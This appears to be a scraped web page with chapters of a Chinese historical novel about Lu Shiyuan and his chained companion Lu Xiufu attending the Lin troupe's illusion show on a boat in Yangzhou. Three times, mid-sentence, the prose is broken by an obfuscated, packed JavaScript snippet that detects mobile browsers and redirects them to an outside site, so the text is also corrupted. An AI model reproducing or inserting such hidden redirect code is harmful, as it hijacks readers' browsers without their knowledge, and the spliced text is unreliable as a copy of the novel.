仕渊连连摇头:“陆氏几代都居于扬州,我那几个叔伯连同谭掌柜更是阅人无数。他们都没听说过的人,多半不在扬州长居。此人南北口音混杂,衣着邋遢,应是云游道人。与其去道观问,不如去周围脚店打听一下。” “脚店恐怕悬。因为北方战乱,去年又有旱蝗,南下的人数剧增,来往的僧道亦不在少数。即便真有店家记得这道士,也不知他来自何处,又要去往何方……”君实言语间有些气馁。 “与其坐以待毙,不如我们主动去找他!”仕渊放下筷子正色道,“我明白你现下心情消沉,但你若一拖再拖的话,怕是真的赶不上今年的秋赋了!” “我也不想坐以待毙。”君实面色沉重,“只是天大地大,道士千千万万,我们要从何找起?” 仕渊也不知该从何找起,只得先给他吃个定心丸,承诺自己会四下打听打听。 可叹这“镇江神童”虽才高八斗,却实在不胜酒力。才饮了一盏酒,就面色酡红,又饮了一盏,便开始倾诉心肠了。 原来君实幼时住在楚州盐城,父亲曾是县衙主簿。老家地方不怎么大,没有好的学堂,加之连年兵燹,无奈之下只得举家移居镇江府。 他平时沉默寡言,从未敞开过心扉,更未讲过自己的家事。仕渊这才意识到,自己对这朝夕相处两年的伴读所知甚少,便默不作声地听着。 君实说着说着,眼角便泛了红。 世人只道他是神童,却不过是家教严格、朝乾夕惕的结果。被无端架上了如此名号,一举一动都会被人评头论足。 曾经镇江淮海书院的同窗得知他被招去尚书郎家当陪读,便骂他表面装得谦谦君子,内里是个趋炎附势的贱骨头,说这叫“驴屎蛋子外面光”,一点也不斯文。 这些同窗大多衣食无忧,殊不知君实父亲去世后,一家五口无以为继。大哥尚未婚娶,本就微薄的薪俸早已入不敷出。身为二哥,君实自然要替家人分担,这才当了陪读。 “眼观当今局势……”君实幽幽道,“西有蒙人虎视眈眈,东有益都李璮为虎作伥。而我辈依旧耽于享乐,殊不知大宋已是危若累卵。我也曾经踌躇满志,立志要救我朝于危难之间,可后来发现连守住一个小家都如此艰难……” 他含着苇管,双睫扑扇扑扇地甚是可怜,“君子岂能为五斗米折腰?我来扬州前曾扪心自问,但我还是来了。来的路上又安慰自己说‘君子之道,行远必自迩,登高必自卑’……” “那来了之后呢?”仕渊为君实斟满酒。 “来了之后……” 君实将盏中酒一饮而尽,张狂大笑:“安能摧眉折腰事权贵,怎料权贵待我如宝贝!” 说罢,他一头载到桌上昏睡了过去。 “噗!”仕渊瞬间喷了酒,心道自己这打油诗的邪功,不知何时竟荼毒了“镇江小神童”。 君实太累了,仕渊舍不得叫醒他,便任由他酣睡,独自小酌了起来。 幕帘内的琵琶女唱着吴侬小调,食客们推杯换盏好生快活。酒楼小厮匆匆上楼,原来外面晴天日央,竟下起了流光细雨。 一时间,扬州城笼罩在了金丝笼里,微风拂过,吹动柳枝,也将雨雾吹入了酒肆——“涌春楼”此名甚是应景。 如此自在风流之地,真如君实所说已是危若累卵了吗? 惶然间,仕渊被旁边三位食客的对话所吸引。 “今日是天祺夜会最后一天,诸位可是去过了?”一位头裹仙桃巾的员外问道。 “还没呐!”一旁年轻人答道,“最近几日客人太多,我连这午饭都没功夫吃!” 另一位老者道:“这天祺节年年都有,也不觉得有什么新鲜的了。昨日去蕃釐观烧了几柱香,这夜会人多嘈杂,就免了吧。” “二位怕是孤陋寡闻咯!”那员外抚须一笑,“往年那夜会上多是本地商贩卖艺人,二位自是见惯不惯。但今年可就不同了!不仅有番人献艺,更有那林家班亮相扬州!” “林家班”三字一出,仕渊登时两眼放光,放下酒盏,竖起耳朵仔细听来。 但听那老者道:“这世间艺能百般,若说新奇者,必数走南闯北的路岐人,林家班就是其中之一。我年轻时便有耳闻,那林家班以‘奇闻’、‘诡技’著称。据说他们南渡以前,是金国宫廷的常客!可惜班主过世后,也不知现今状况如何……” 员外摇了摇头:“我当初也觉得林家班八成是吃散伙饭了,谁知他们销声匿迹许久,去年又重出江湖了,而且推出了新活——天外飞仙!” “这有啥新鲜的!”年轻人嗤之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703230|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以鼻,“这年头跑江湖的多了,蹦得高些便称轻功盖世,梁上吊个黄毛丫头就算天外飞仙了!” “我最初也没当回事。”员外煞有介事道,“但我去年在明州港办货,忽有一日,下榻的客栈里多了几名泉州来的富商。聊了两句,竟是一路追着位号称‘天外飞仙’的林家班戏子而来!紧接着,市舶司张了告示说港口封关一日。我一打听,正是林家班在搭台亮相!” “港口?”年轻人甚是诧异,“戏班子登台不去瓦子,怎地在港口?” “奇思妙想,别具一格。”年长者呷了口茶,“怕是背后有高人指点、高官撑腰。发达喽!” 员外继续道:“封关那日,我实在好奇,便决定去捧个场。可到了港口却被几个镖师拦住,说什么‘没有信物,不得入内’。我不知何意,只能放话说:‘明州没有我看不起的戏,再贵的茶资我都不差钱!’可那镖师依然不让我进,只一直打发我去找卖花的!” 另外二人听至此处,面面相觑,又听员外道:“那日我甚是不解,只得作罢。但近日林家班来扬州了!今晚最后一场,就在茱萸湾天祺夜会!” 仕渊闻言喜不自胜,也不再继续听那三人对话,结了账将君实晃醒,又拽着链子将他拖下了楼。 君实还在酒醺中,边走边问:“少爷急着去做什么啊?” “我们去买花!再晚就没有啦!” ------------------------------------- 雨后初霁,天清气润。杏苑及第的杏花落了多半,屋檐淅淅沥沥地滴着雨水,屋内旖旎山焚着香材,云蒸雾绕。 君实尚未酒醒,坐在火盆旁干着衣物,痴痴地盯着衣桁上挂着的香囊。 那香囊藤黄的流苏、黛蓝的锦袋,上面有只金线绣的四睛重明鸟,振翅欲飞,栩栩如生。 自涌春楼出来后,仕渊拉着他满大街找卖花姑娘,终于在广陵春香粉店前找到个卖花老妪。本以为他要去见某位名流,所以买些花簪于头上,怎料却买了担子里剩下的最后一只香囊。 先不提卖花人什么时候卖起香囊了,十两银子一个的香囊,里面装的怕是金碎玉屑吧! 疑惑间,君实见仕渊换了套提花锦服,手里握着一把剪刀,向自己走来。 “少爷这又是要作甚啊?”他哀怨道,“连你三叔的金丝大刀都奈何不了这链子,何况这剪刀?” “别废话,转过去!看你这紧成这样,我来让你舒坦舒坦!” 仕渊掰着君实的肩膀将他背过身去,按住他的头。 “少爷请自重!” 但觉后颈一凉,君实“噌”地站起来,又被仕渊摁了回去。 “你以为我要干什么?小爷我可不好那一口儿!”仕渊捧腹大笑,“这链子太紧,把你脖子都勒红了。我只是要将你外衫剪去,让你松快一下。” 君实见误会一场,板着通红的脸,坐下道:“谁让你总是想一出是一出,也不跟人解释,闷声干坏事。” 仕渊剪着他的襕衫,解释道:“方才我在酒楼里听说林家班来扬州了。林家班是南渡的路岐人,四处采风卖艺、漂泊不定,错过了下回就找不见人了。但正因如此,所以见多识广,其中不乏奇技淫巧。而且巧了,我与现任班主在临安时便相识,班主还欠我一个大人情!” “所以少爷寄希望于江湖卖艺的来解开我这锁链?”君实苦笑道。 “说林家班是江湖卖艺的着实委屈他们了。知道为何天下艺人千千万,唯林家班独占鳌头吗?” 仕渊一脸神秘,“因为他们精通机关术,保不齐能解开这锁链!” 5. 江湖杂事何处问,茱萸湾上路岐人(上) “可惜啊,机关术护国重器的本事,在林家班那里却成了市井营生。”君实嗟叹。 “不敢苟同。”仕渊摇头道,“你若如此认为,那小爷我今晚必须得让你见识见识所谓的‘市井营生’了!” 说话间,他将君实的外衫剪了个稀碎,又将碎布从锁链中一一拽出来。 果然,褪去外层襕衫,君实浑身松快了些许。 仕渊笑道:“干脆我将你全部衣衫都剪去算了,浑身涂上二斤猪油,没准儿就能从这链子里滑出来了!” “打住!”君实连忙闪躲,“我看你是猪油蒙了心,将我当鳝鱼了!若是滑不出来,难道要我……” “也是,脱掉容易,再穿就难了。”仕渊一脸认真,“不过我听说那盗圣时不讳会缩骨功,不如你去当个关门弟子?” 嬉笑间,仕渊跑去里屋翻箱倒柜,找出个宝蓝色缎面大氅罩在君实身上,将铁索挡了个严严实实。 “虽然不太合你气性,但这已经是我最朴素的氅衣了。”他打量着君实这身行头,努努嘴道,“你若是觉得太招摇,那库房里还有许多麻袋——” “大可不必!”君实望了望镜中的自己,“托少爷的福,鄙人不介意雍容华贵一番。” “那刚好,穿什么衣服做什么事!”仕渊拿起衣桁上的香囊,在君实眼前晃了晃,“我们现在就出去孟浪一番!” ------------------------------------- 悠悠东南郡,斜阳笼城郭。 东关渡口摩肩接踵,皆是要乘船的人。仕渊打开那香囊,从里面掏出一小枝黄花,别在了君实头上,又将香囊挂在自己腰间。 一位船家见状,将二人招揽过来:“二位小爷也是要去茱萸湾的吧?请这边上船!” 栈桥两侧停泊着两艘画舫精美别致,在四周乌蓬船中如鹤立鸡群。画舫内客人个个头戴茱萸黄花,腰佩重明鸟香囊,衣冠楚楚,非富即贵——十两白银才能登的渡船,放普通人家够换几十石的米面了。 仕渊碰上几位熟人,一通寒暄中落了座。两船夫撑蒿摇橹,向北驶去。 城墙渐行渐远,四周杳无人烟,尽是青青荠麦。远处夕阳之下,繁华不再,唯有栖灵塔依旧。 望着风景,他忆起之前从临安北上至扬州时,沿途炊烟袅袅满是村落,没成想这份热闹过了扬州便没有了。 君实老家就是这繁华边缘的疮痍,而他自己的热闹,自打认识君实后,也没有了。 那是两年前的冠礼。酒席间,陆陆续续有人给陆家长辈们献上贺礼,仕渊这个主角却没有收获,只有陆季堂差人送了一幅画卷。 画中楼市鳞次栉比,市井人物穿梭其中,廊桥飞架碧水之上。右手舟舸塞川,左手歌舞升平,远处烟雨濛濛绕青山,近处柳叶簌簌压红药。 围观的年轻人陶醉其中、年长者摇头慨叹。一个孩童踮起脚瞄了几眼,道:“哪里这么繁华?可比扬州漂亮多了!” 众人听罢,相顾无言。 “黄口不识淮扬盛,千里江山盏中窥。” 一个清亮的声音自人群中传出,如和风细雨,却掷地有声,引得旁人纷纷侧目,正是君实。 他当时身着天青色襕衫,在一众锦衣华服中意外地出挑,手捧一盏茶汤放在仕渊面前,不急不躁道:“微薄贺礼,聊表心意,还望笑纳。” 茶盏中乳沫似云,云上又用墨色末茶绘了青山绿水——如此精致,教人如何下口? 虽不是什么名贵之物,但这盏茶乳沫未散,尚有余温,定是他见自己没收到贺礼,现跑去准备的。 仕渊颇为感激,立马回道:“若得知己三两个,策马河东走一回!” 君实浅笑着行了个礼,未留下多说几句便转身离去。 这既贴心又失礼的作为,让当时的仕渊既有些懵、又有些恼。他拽了拽陆季堂的衣角,耳语道:“那小生是哪家公子?” 陆季堂已然酒醉,傻乐道:“那是咱家公子啊!” 见仕渊一脸疑惑,陆季堂便扯着嗓子大喊:“那是你太祖父庶弟的孙子,是个小神童!比你小三岁,但论辈分嘛,你该叫他一声堂叔!” 好家伙,这回不光仕渊听到了,四周的人也全都听到了。 “什么堂叔?明明是八杆子打不着的亲戚!”他嘴上打趣着,手上收起画轴,脚下已然开溜。 酒过三巡,大伯与几位掌柜员外谈论着市价行情,陆父应付着一圈官吏的阿谀奉承,三叔陪着一票帮会兄弟吃酒划拳,四叔则同一群文人在溪边唱着陈词滥调。 仕渊脱掉沉甸甸的深服冠帽,独自一人在园中游荡。经过书斋时,才发现另有一人也与这几个“小帮派”格格不入。 彼时君实正捧着本书读得津津有味,浑然不知门口靠着个人,盯了他许久。 仕渊本以为他是家里资助的落魄书生,正欲进屋会会他,迎面却走来了父亲与大伯。 一通寒暄引荐后,君实面对仕渊,行了个礼道:“小可陆秀夫,表字君实。请恕君实尚在守孝期,未能于酒席上拜会公子。” 难怪他献了盏茶便匆匆离去,原来家里有丧事儿啊。 仕渊还道父亲收了个孤儿当养子,却听陆仲玉道:“帆儿,为父将你送来扬州,就是为了你能收敛心性,安心读书备试,脚踏实地做人。今日将君实请至府上,便是来做你伴读,与你同窗进学。他日学成,一同参试,共谋仕途!” 君实上前深鞠一躬:“尚书大人仁义悌达,为家父善后。近又幸得垂青效力贵府,君实感激涕零,今后定尽心竭力助贵公子读书备试,绝不敢有丝毫怠慢!“ 大伯也笑眯眯地插言:“侄儿啊,今后两日你带着君实安顿下来,熟悉一下府内门道,明日一同上下学。你年长,可不能欺负人家,也不能带人家去不该去的地方。不然,我让三叔敲断你的腿!” 承受着三个人期待的目光,仕渊僵立在原地,面色逐渐苍白——这哪里是伴读,分明是父亲安插在他身边的暗桩! 在府里有陶朱公和关二爷管,去了书院有山长管,现下又多了个小跟班,连闲暇时间都得被人盯着,叫人情何以堪? 他朝经暮史的日子,便是这么开始的。 “杏苑及第”的读书声从来没间断过,但世间的风雨声似乎吹不进墙里来。 画舫轻摇,微风拂面。君实脸上醺红已褪,却仍眉头紧锁。 仕渊见状,笑吟吟道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703231|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“春日夜游,泛舟河上。好不容易甩开书本出来一趟,如此良辰美景,小堂叔莫要辜负了!” 君实周身被捆,十分不自在,又头簪香花、衣着浮夸。此刻酒醒,方觉好生羞耻,而这始作俑者竟嬉皮笑脸地调侃自己。 夕阳下的仕渊满面春风,君实也不忍扫兴,只怨道:“从涌春楼出来我就云里雾里,你先是找卖花的再是买香囊,而后又说是想请班主解锁链,结果不送拜帖而是亲自捧场……” 百思不得其解间,他狐疑道:“少爷你如实说,这班主是不是你昔日钟情的女子?” 仕渊兀自偷笑了一阵,随后耳语道:“林家班曾是名镇两京的大班子,辎重动辄十几辆车。可惜后来北方战乱,原先的老班主拆了班子。三年前我庆生辰时,曾将现任班主请至宴席上,演了出骷髅幻戏。” “骷髅幻戏?”君实诧道。 “不错,正是班主的看家本领。虽是生辰宴,但我临安的好友们向来不忌讳,就爱猎奇!席间,我与班主聊了起来,知其立志振兴林家班,却苦于不得门道。我见班主才华横溢、想法颇多,单枪匹马地串场子着实委屈了,于是便为其献了一策。” 君实听得很入迷,兴许是因为他跟随仕渊两年,却从未听其说起过临安的往事。 仕渊继续道:“普通卖艺的走街串巷讨赏钱,但三瓜俩枣的不成气候。技高者可进瓦子里分茶资,但终归不是自己的场子。教坊名伶虽能与达官显贵打交道,但实则世代贱籍,难以翻身。 “于是我建议班主,与其像祖辈那般大车小车地跑长途,不如买艘船来得容易。这样既有了自己的场子,还省了投宿钱,又方便远行运输。 “牛马有生老病死还要吃草驻停,船只需定期维护即可。况且这船上不装载货品,按理说也无需向市舶司缴纳抽解。” “那这香囊又有何说法?”君实问道。 “当时我提议,与其靠打赏和茶资赚钱,不如先收钱,给个小信物,比如印着特殊纹样的花笺、香囊。交钱者凭信物上船看戏,茶资另收。没钱的也能在岸上看个热闹,派个伙计收赏钱,多多益善!” “富在术数,不在劳身。奇策,奇策!”君实难得地称赞了起来,“所以这林家班东山再起,你占了不少功劳。” “可惜这事被我爹知道了。”仕渊努了努嘴,“他硬要将我送到山沟沟里去读书,派人带我江西荆南跑了一个夏天。再后来……我就被送到这里来了。好在临行前,我将班主引荐给了我一贾姓好友。他爹时任京湖制置使,关系四通八达,没有办不成的事情! “来扬州后我未同他二人联系过,也未过问后事,更不知信物为何。恰逢方才在涌春楼里听人说起,去年林家班在明州开演时,门卫曾让没带信物的宾客去找卖花人,我才知道当年的无心插柳,现‘木已成舟’。至于为何偏偏选了这只香囊……” 仕渊指了指身后,只见水湾码头四周装饰着黛蓝色的巨大幡旗,每一面旗上赫然绘着一只重明鸟。 灯火渐近,鼓乐喧鸣,画舫上的宾客们逐渐骚动起来。 靠岸后,仕渊扶着君实下了船,忽又想起件事,笑道:“至于那班主究竟是不是我老相好,待我引荐后,你问问便是!” 6. 江湖杂事何处问,茱萸湾上路岐人(下) 茱萸湾坐落于城外东北方,是扬州门户,更是军事要冲。所幸多年来无人进犯,这片水湾成了人们郊游踏青之地。 日暮时分,岸边孩童们放起了水灯,运河上月色花光,霏雾融融。栈桥欢门两侧上书“朱雀参井柳”、“星官渡月桥”,中书“天祺夜会”。 主道旁张满了星宿图花灯,灯下摊位林立。鼓乐声愈发震耳,百来号“星官”正簇拥着一座三层宝塔台阁前行,正是讶鼓戏将至。 人群随着台阁缓缓移步,而仕渊早已不见踪影。见远处一个锦衣身影闪进了支道,君实欣然去寻。 他被人群撞得左支右绌,好不容易才抽身,眼前忽地飞来一团焰火,险些燎了他的发髻,原来是一波斯大汉在吐火。退后几步,甫一转身,脸颊被一水草般湿冷之物擦过——竟是一只长蛇在嘶嘶吐信! 长蛇盘绕在一位昆仑奴颈上,只可惜这乌梅般的人儿正聚精会神地在热炭上舞蹈,丝毫不知自己的搭档分神了。 君实惊魂未定,又见几把飞刀破空而去,刺爆了远处一人头顶的匏瓜。几十步开外,赤膊红发的罗刹人在一片叫好声中耀武扬威。 春风送来氤氲上脑的异香,耳畔胡不思悠扬婉转,乐师毛茸茸的双手在蛇皮鼓上翻飞,舞姬袒胸露怀裙摆翩跹。眼前的景象光怪陆离,让人一时不知身在何方、今夕何夕。 好在他还认得头顶幡旗上的三个大字——“番人巷”。 这番人巷里大多是外国商贾,展售着宝石琉璃、象牙犀角,以及琳琅满目的香料土产。君实逛到了支道最末,喧嚣渐弱,灯火也暗了下来,牲畜味涌进鼻窦。 树影下,一盏琉璃彩灯驱散了方寸黑夜,两个人背靠骆驼,正坐在毡毯上“神交”。 流光在他们面庞上翕动,其中一人高鼻深目,虬髯垂胸,白帛缠头,似是西域人。另一人星眸璨璨,琼姿皎皎,一手捋着骆驼颈毛,一手转着把宝石匕首,正是仕渊。 “来来来!”仕渊将君实招呼至毡毯旁,“这位朋友了不得,为你引荐!” “幸会,小生姓陆,表字君实。”君实近前道。 那西域人将手置于胸口,点了点头:“普哈丁。” “普兄弟不远万里从大食国来!君实,你知道大食国有多远么?”仕渊异常兴奋,拿匕首点着地上画的两个圆圈,“你看,这是临安,这是扬州,大食国在……” 他拖着匕首在地上一路向左划去,直到骆驼尾巴处才停,“在这儿!” “麻嘉,真主,安拉。”普哈丁一字一字道,“白达,我的家。蒙兀人来了,我没家了。” 见二人不解,普哈丁搓着胡须,想了片刻,在地上抓了把沙土道:“我想去波斯,先到花剌子模,没了。西去忽儿珊、班勒纥,也没了。” 他在地上画着圆圈,每画一个又用手中的沙土掩盖掉,嘴里模仿着马蹄的声音。 二人这才恍然大悟——那每一个圆圈皆代表一座城池,甚至一个国度。而蒙古铁骑早已踏平西域各国,所到之处皆是生灵涂炭,黄沙一吹,又仿佛什么都没有发生过。 可叹世间人长相风俗不尽相同,但悲欢离合、甚至命运皆是相同的。 “那兄台又是如何辗转来到此处呢?”仕渊问道。 “往东走,在天竺被大地尽头的高山挡住,见到了雪!”普哈丁道,“高山有诅咒,我和骆驼都病了。安拉保佑,我们还在!” 听罢,仕渊断言道那是不周山,君实道那应是昆仑山。二人争执片刻,最终妥协为:普哈丁撞昆仑山触怒了西王母,而“安拉”则是菩萨在西域的字号。 “从天竺向南去,有绿色的花园,叫注罗国。注罗国没有蒙兀人,有好多花、好多象、好多神!”普哈丁指了指远处的昆仑奴,“还有神的仆人。” 他骄傲地拍了拍自己的胸脯:“他们神太多,我们只有主——安拉。安拉让先知来人间,我,就是先知的子孙。后来坐船到了泉州,去了临安。一路往北走,是因为我想看看汴京、洛阳、长安。” 仕渊同君实面面相觑,只得坦言这三座旧京先是落入金人之手,后又被蒙军烧毁殆尽,早已不复当年繁华。随后二人用尽毕生书卷所学,来描述曾经旧都盛况,也不知对方到底听懂了多少。 辞别普哈丁后,二人沿着林家班的幡旗,直奔北岸林家班戏船处。 “啧!”仕渊望着那戏船一脸不快,“吊死鬼擦粉——死要面子!” 他当初为班主献策时,心中想得是客船或太湖罛船,能放下辎重搭个台子即可。怎料林家班戏船竟是艘大家伙! 大船太过张扬且不说,能在运河上施展开也属实不易。船体二十余丈,双轮车船底,但舷板被加高,故而能在海上行驶。船上桅帆一如艨艟,而船楼则是画舫模样,两侧设有朱漆雕栏,四方通透。隔扇门大开,在岸上也能一览无余。 此时已有不少人守在岸边,栈桥上陆陆续续地有头戴茱萸花的人上船。二人近前而去,果不其然有镖师阻拦,被告知必须同时佩戴香囊、茱萸花才能上船,不能两人共用。 仕渊好说歹说,还谎称自己慕名“天外飞仙”已久,去年在明州港就错失良机,希望镖师通融一下。结果那镖师笑称这说辞刚刚就有人用过,自己不吃这一套。 末了,他只得插起腰,扭捏作态道:“林家班真是翻脸不认人,我这就回临安抱朴庐找贾小相公去!让他少逗几日蛐蛐,好好管教管教手下人!” 那镖师乍一听见“贾小相公”的名号,当即拽回仕渊连连赔不是,让他不要声张。 于是乎,二人就这般上了船,坐等大戏开演。 ------------------------------------- 天色渐晚,已近二更。 楼船布满火盆,中央戏台有两层,皆是三面敞朗。底层戏台五丈见方,上层为一小阁,四面垂挂着纱帘,不知里面有何乾坤。 锣声响起,看客们列座。红氍毹上走来一中年女伶,环视四周后做了开场念白—— “甬江新曲调,金国旧衣冠。枭鸟啄蚍蜉,秋蝉何自安?把前尘旧事重提,将悲欢离合再叙。曾经炎凉世态,今做游戏文章。王侯将相皆为假,兴衰枯荣才是真。且仗着眼前衮钺,休管他身后泥犁!” 最后一字铿锵落地,乐师们开始了齐奏。女伶云步转身,兰花掌一摊,定住了身形。 “杏花初落疏疏雨,杨柳轻摇淡淡风。浮画舫,跃青骢,小桥门外绿阴笼。行人不入神仙地,人在珠帘第几重……”【1】 几句唱词过后,一位华服霓裳的佳人翩跹登台。 佳人红绫绕身,云鬓凤钗,额前着斜红花钿。可惜距离稍远看不清楚面容,只知她朱唇轻启,道得是:“不得春风花不开,花开又被风吹落。” 原来这她芳华正好,却被趋炎附势的家人送给了帝王做妃嫔。 妃子落寞独舞,楚腰娉婷,浑然不知身后一将军模样的男子已看出了神。转身的一刹,她与将军四目相对,随后含羞浅笑,水袖遮面,匆匆离去,此时乐曲也变得明朗暧昧起来。 “蜂蝶纷纷过墙去,却疑春色在邻家。” 戏台上的唱词与《碾玉观音》如出一撤,只是一个在民间,一个在宫廷。台上的妃子是“秀秀”,而那将军便是“崔生”。二人渐生情愫,虽山盟海誓,奈何只能暗约偷期。 仕渊之前被“天外飞仙”吊足了胃口,怎料林家班换汤不换药,演得还是老生常谈的风月戏码。 君实亦是恹恹欲睡,扭头一看,这位花了他十两银钱的小少爷,压根儿没有在看戏,只低头把玩着从普哈丁处买来的匕首。 此匕首弯似新月,刀鞘鎏金雕花并镶有三色宝石,刀柄乃是一象牙雕刻的翅头,精美绝伦。然而仕渊平日被管得紧,手头应当没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703232|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个钱。眼下君实荷包被对方拿捏着,多少还是有些担忧的。 “少爷,这匕首你多少钱买的?”君实低声问道。 仕渊不知他缘何问起,睫毛扑扇了几下:“要价我也不记得了,总之一百两拿下。放心,没动你一个子儿,小爷我拿自己银票换的。好不好看?” 君实哑然——自家祖传的玉佩在当铺也不过二十两,这纨绔不过在路边一坐,百两银子就这么没了。 他伏在仕渊耳畔,啧舌道:“方才找到你之前我四处逛了逛。就在离你五十步不到的摊位上,有卖相同样式匕首的,只要十两,还赠羊皮护套。” “又一个奸商!”仕渊气得直翻白眼,低骂道,“小爷的钱也不是大风刮来的,那瘟孙吃相太难看,估计早就骑着骆驼跑没影儿了!若他日江湖再遇,定扒了他的骆驼皮给你做大氅!” 二人窃窃私语了一阵,全然不理戏台上发生了何事,只知蓦地一声雷鸣,全场灯火尽灭,四周陷入黑暗。 台下看客哗然,只见头顶小阁内一架青铜宫灯渐亮。纱帘卷起,里面不知何时坐了个人,身着朝服,应是戏中的君王。 看来“秀秀”与“崔生”的苟且之情,终于在这个电闪雷鸣的夜晚东窗事发。 “君王”一声令下,船舷两侧涌出了几个“士兵”。戏台两侧的走马灯亮起,几个士兵赫然变成了几“列”。他们冲到了戏台上的“将军府”后,走马灯熄灭,看客眼前一片黑暗,但听戏台上刀光剑影,惨叫连连。 良久,屠戮声渐消,“君王”巍然立于二层楼阁内,宣道:“丽妃勾结佞臣,祸乱纲闱。赐酒,驱逐出宫!” 言毕,他拂袖而去,“丽妃”独自登阁,念白凄楚—— “不是东风断送春归去,是春雨断送春归去。” 唱罢,她饮尽毒酒,艰难地走下高阁。 此时又听戏台上一声大喝:“杀了丽妃回去交差!” 走马灯再度亮起,台上又是人影绰绰。丽妃碎步胡旋,层层裙摆如红芍绽放,纵使已被“刺客”团团围住,却依旧没停下舞步,颇有些凄美。 终于,她倒地不起,乐声戛然而止。就在看客唏嘘之时,另一队人马出现,将刺客们团团包围——正是那将军! 将军一行人皆批甲戴盔,方巾遮面,三两下就解决掉那伙刺客,为丽妃解了围。 他扶起丽妃,将她送到一艘“船”前,让她去海外求生。而那丽妃好不容易才与恋人再会,执意要那将军一同上船,将军却坚决不肯。 末了,他不再争执,摘掉头盔卸了铠甲,取下了遮面的方巾。 这救下丽妃并一路相送的将军,竟是一具白骨! 丽妃轻拂着眼前的恋人,本以为二人可以再续前缘,谁知早就阴阳两隔。 “两部脉尽总皆沉,一命已归黄壤下。” 她清唱着辞别将军,掩面痛哭,待长袖拿开时,已是满头白发。拭去眼泪后,她踏上船头,纵身一跃—— 刹那间,本欲跳海殉情的丽妃身形一转,向着台下坐席腾飞而来! 丽妃双脚凌空,裙角抚过一众看客,幽香扑面。她上身作飞天状,将手中红绫朝梁上一甩,打了个结,紧接着一扭酥腰,竟坐在看客头上笑盈盈地荡起了秋千! 全场人顿时沸腾,个个不遗余力地拍手叫好,只有仕渊婆娑着被裙角撩过的额头,低头不语。 他一直放在膝上的匕首,消失了。 左侧坐着个老态龙钟的贵妇人,右侧坐着君实。总不至于是这二人偷拿了匕首吧? 狐疑间,他仰头望向那“丽妃”,见她双睛灼灼却不失笑意,身姿轻迅若将飞而未翔,一如林家班徽印上的重明鸟。 ------------------------------------- 【1】此句及下文所有女伶唱词,皆取自宋话本《碾玉观音》。 7. 骷髅幻戏不夜天,烟波碧水落飞仙(上) 匕首虽价值不菲,但仕渊并未声张。反正散场后也要拜会林家班,他索性继续看戏。 场边灯火再度熄灭,四周又是一片黑暗。戏台上时空变幻,再度回到了那个雷电交加、刀光剑影的将军府。 那“丽妃”早已没了影,戏台前方亮起一支烛火,台上皆是倒地的军士。“将军”坐在戏台影壁前,满身是血,已然气绝。 此时一个身材细长的“道士”路过,从怀中掏出了一面铜镜似的器物,喃喃道:“尘缘未了,恐生灾祸。乱世痴怨,遂尔心愿。诸邪退避,百无禁忌。” 铜镜被置于台前的一瞬间,奚琴铮鸣几声,将军“尸体”背后的影壁上蓦地出现一副巨大的骷髅,仿佛要将所有人吞噬一般,骇得宾客惊叫连连。 那道士则转向宾客,抚须打趣道:“不好不好,杀鸡焉用宰牛刀?” 他手中拂尘推了推那枚铜镜,只见影壁上的骷髅由大变小,直到轮廓缩至与将军身躯相近,“附身”到了将军身上。 须臾间,将军动了动手指,又伸了伸腿,最后同那枯骨一同站了起来。 道士为将军带上头盔,着一方巾掩其面,而后收走了铜镜,对将军道:“阁下府中祸伏孽生,冤气弥漫。贫道这‘借尸还魂’之术只能维持七日。七日之后若怨气不平,则尸鬼竞乱,殃及无辜。” 说罢,道士挥了几下拂尘,伴随着几声清脆的鼓梆声,阴影处跳出了十余副折扇高的小骷髅。 那一具具小骷髅在鼓点声中左摇右晃,行至倒地的“尸体”上,军士们即刻“回魂”,纷纷起身面向将军跪坐,等候发令。 见此情景,道士满意道:“完成心愿后,别忘了安顿好他们。” 言毕,道士拂袖而去,幽暗的烛火渐渐熄灭,只有吟唱声回荡不绝:“天地昼暗昏,星辰牙差驰。众灾竞地起,良医绝不知。胡王心怖怕,叉手向吾啼。作大慈悲教,化之渐微微……”【1】 片刻后,船舱两侧走来几个小厮,再度把火盆灯光亮起。 待颡叫子拿着银盘下船开始讨赏钱后,众人才知骷髅幻戏已毕。 场内再度熙攘起来,细听之下,皆是啧啧称奇之语。君实亦是意犹未尽,调侃道:“我现在知道少爷为何执意要我上船看戏了。这‘骷髅幻戏’着实令人大开眼界,也不知背后使了什么‘妖法’。” “哪有什么妖法,不过是靠百工之术运作的戏法罢了。有些事情说破了反而无趣了,不是吗?” 仕渊故作高深,实际上也不得其解,“我倒是觉得那‘天外飞仙’才是高手。飞身而过,我的匕首也不翼而飞。” “刚买的就弄丢了?” 